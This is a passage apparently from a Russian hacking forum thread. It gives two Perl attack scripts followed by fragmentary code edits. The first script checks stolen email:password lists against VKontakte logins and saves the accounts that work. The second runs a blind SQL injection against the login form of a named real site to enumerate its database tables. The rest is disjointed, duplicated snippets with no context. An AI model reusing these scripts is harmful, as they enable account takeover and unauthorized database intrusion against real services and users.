ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl
# VKONTAKTE    cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
my $idd=$2;
my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

if (!$idd)
{
print "Account deleted \n";
}

(print "Accont $mail is deleted\n" and next) if !$idd;

(print "Accont $mail is deleted\n" and next) unless $idd;

#!/usr/bin/perl
use LWP;

my $browser = LWP::UserAgent->new;
my $url = "http://e-rfo.ru/?i=logon";


print "Starting sql-code injection...\n";
&GetTables('',0,0,'');

sub GetTables{
my ($ascii_set,$tnl, $node, $tn);

$ascii_set = $_[0];
$tnl = $_[1];
$node = $_[2];
$tn= $_[3];

my $curr_tnl = $tnl+1;
my $curr_tn = '';
my $curr_set = '';
my $curr_node = $node+1;
my $table_finded = 0;

for $i (95..122)
{
	if (length($tn) == 0)
		{
		$curr_tn = chr($i);
		}
	else
		{
		$curr_tn = "$tn" .chr($i);
		}
	if (length($ascii_set) == 0)
	{
	$curr_set = $i;
	}
	else
	{
	$curr_set = $ascii_set.','.$i;
	}
	$char = 'CHAR('.$curr_set.')';
	$post = "admin' AND 1=(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char)/*";
	$response = $browser->post($url, ['login' => $post, 'password' => '', 'op' => 'login']);
	$content = $response->content;
	if ($content =~ "Subquery returns more than 1 row")
		{
			print "LEFT(TABLE_NAME,$curr_tnl) is: ",$curr_tn,"\n";
			$table_finded = 1;
			GetTables($curr_set, $curr_tnl, $curr_node, $curr_tn);
			if ($curr_node > 5)
			{
			return;
			}
		}
	else
		{
		if (length($curr_tn) > 1 && $table_finded == 0 && $i == 122)
			{
			print "Table name is: " .substr($curr_tn,0,length($curr_tn)-1)."\n";
			}
		}
	if ($response->is_success == false)
	{
		print "connection error...\n";
	}
$curr_set = '';
}
}

use warnings 'all';
use strict;
use diagnostics;

$ascii_set = $_[0];
$tnl = $_[1];
$node = $_[2];
$tn= $_[3];

my ($ascii_set, $tnl, $node, $tn) = @_;

$curr_tn = "$tn" .chr($i);

if (length($tn) == 0)
		{
		$curr_tn = chr($i);
		}
	else
		{
		$curr_tn = "$tn" .chr($i);
		}

$curr_tn = (length($tn) > 0 ? chr($i) : $tn.chr($i))

if ($response->is_success == false)
	{
		print "connection error...\n";
	}

exit print "Connection error..." if(!response->is_success)